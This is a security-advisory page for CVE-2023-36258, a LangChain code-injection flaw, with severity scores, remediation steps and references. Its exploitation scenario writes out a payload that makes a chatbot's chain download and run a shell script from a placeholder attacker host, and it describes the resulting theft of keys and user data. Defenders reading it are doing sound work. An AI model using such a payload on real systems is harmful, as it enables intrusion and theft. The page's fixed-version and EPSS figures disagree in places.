CVE-2023-36258: LangChain: unauthenticated RCE via code injection
GHSA-2qmj-7962-cjq8CRITICALPoC AVAILABLECISA: ATTENDAny LangChain deployment below 0.0.247 is a critical RCE risk—no authentication or user interaction required. Patch immediately to langchain>=0.0.247 and treat all pre-patch deployments as compromised if they processed external input. Prioritize internet-facing LangChain apps, agent frameworks, and RAG pipelines where attacker-controlled strings reach chain execution.
What is the risk?
Severity is maximal: CVSS 9.8, network-accessible, zero privileges, zero user interaction, full confidentiality/integrity/availability impact. EPSS is low (0.49%) but this is a well-documented, public exploit with GitHub PoC. LangChain's widespread adoption in LLM apps, agents, and RAG systems means the blast radius is broad. Any org that built AI tooling in 2023 and hasn't audited dependency versions is likely exposed.
What systems are affected?
How severe is it?
What is the attack surface?
What should I do?
7 stepsPatch: upgrade langchain to >=0.0.247 immediately.
Audit: run
pip show langchainacross all environments including dev, staging, CI/CD.Isolate: run LangChain workloads in containers with minimal filesystem/network permissions and no root.
Restrict: disable Python code evaluation chains (PALChain, PythonREPLTool, LLMMathChain) unless strictly required.
Detect: alert on process spawns (os.system, subprocess) originating from LangChain worker processes.
Network: block outbound connections from LangChain processes unless explicitly needed.
Rotate credentials if pre-patch deployments processed external input.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2023-36258?
Any LangChain deployment below 0.0.247 is a critical RCE risk—no authentication or user interaction required. Patch immediately to langchain>=0.0.247 and treat all pre-patch deployments as compromised if they processed external input. Prioritize internet-facing LangChain apps, agent frameworks, and RAG pipelines where attacker-controlled strings reach chain execution.
Is CVE-2023-36258 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2023-36258, increasing the risk of exploitation.
How to fix CVE-2023-36258?
1. Patch: upgrade langchain to >=0.0.247 immediately. 2. Audit: run `pip show langchain` across all environments including dev, staging, CI/CD. 3. Isolate: run LangChain workloads in containers with minimal filesystem/network permissions and no root. 4. Restrict: disable Python code evaluation chains (PALChain, PythonREPLTool, LLMMathChain) unless strictly required. 5. Detect: alert on process spawns (os.system, subprocess) originating from LangChain worker processes. 6. Network: block outbound connections from LangChain processes unless explicitly needed. 7. Rotate credentials if pre-patch deployments processed external input.
What systems are affected by CVE-2023-36258?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, RAG pipelines, LLM application backends, chatbot systems, training pipelines.
What is the CVSS score for CVE-2023-36258?
CVE-2023-36258 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 1.06%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001AI SoftwareAML.T0049Exploit Public-Facing ApplicationAML.T0050Command and Scripting InterpreterAML.T0053AI Agent Tool InvocationAML.T0072Reverse ShellCompliance Controls Affected
What are the technical details?
Original Advisory
An issue in LangChain before 0.0.236 allows an attacker to execute arbitrary code because Python code with os.system, exec, or eval can be used.
Exploitation Scenario
An attacker targeting a company's LLM-powered customer support chatbot (built on LangChain pre-0.0.236) crafts a query containing Python-executable syntax such as `__import__('os').system('curl attacker.com/shell.sh | bash')`. The input is passed unsanitized into a LangChain chain that internally calls eval() or exec() to process the expression. The OS command executes with the privileges of the LangChain server process, giving the attacker a reverse shell. From there they extract the OpenAI API key, Pinecone/Weaviate credentials, and any PII stored in the RAG database—all without authentication.
Weaknesses (CWE)
CWE-94Improper Control of Generation of Code ('Code Injection')PrimaryCWE-94Improper Control of Generation of CodeCWE-94 — Improper Control of Generation of Code ('Code Injection'): The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
- [Architecture and Design] Refactor your program so that you do not have to dynamically generate code.
- [Architecture and Design] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
- github.com/hwchase17/langchain/issues/5872ExploitIssueMitigation
- github.com/advisories/GHSA-2qmj-7962-cjq8
- github.com/langchain-ai/langchain/commit/8ba9835b925473655914f63822775679e03ea137
- github.com/langchain-ai/langchain/commit/e294ba475a355feb95003ed8f1a2b99942509a9e
- github.com/langchain-ai/langchain/commit/fab24457bcf8ede882abd11419769c92bc4e7751
- github.com/langchain-ai/langchain/issues/5872
- github.com/langchain-ai/langchain/issues/5872
- github.com/langchain-ai/langchain/pull/6003
- github.com/langchain-ai/langchain/pull/7870
- github.com/langchain-ai/langchain/pull/8425
- github.com/pypa/advisory-database/tree/main/vulns/langchain/PYSEC-2023-98.yaml
- nvd.nist.gov/vuln/detail/CVE-2023-36258
- github.com/ARPSyndicate/cve-scoresExploit
- github.com/ali-hindy/langchain-fuzzExploit
- github.com/fkie-cad/nvd-json-data-feedsExploit
- github.com/zgimszhd61/openai-security-app-quickstartExploit
Timeline
Related Vulnerabilities
CVE-2025-282810.0LangChain RequestsToolkit: SSRF exposes cloud metadata
Same package: langchainCVE-2023-345419.8LangChain: RCE via unsafe load_prompt deserialization
Same package: langchainCVE-2023-293749.8LangChain: RCE via prompt injection in LLMMathChain
Same package: langchainCVE-2023-345409.8LangChain: RCE via JiraAPIWrapper crafted input
Same package: langchainCVE-2023-361889.8LangChain: RCE via PALChain unsanitized Python exec
Same package: langchain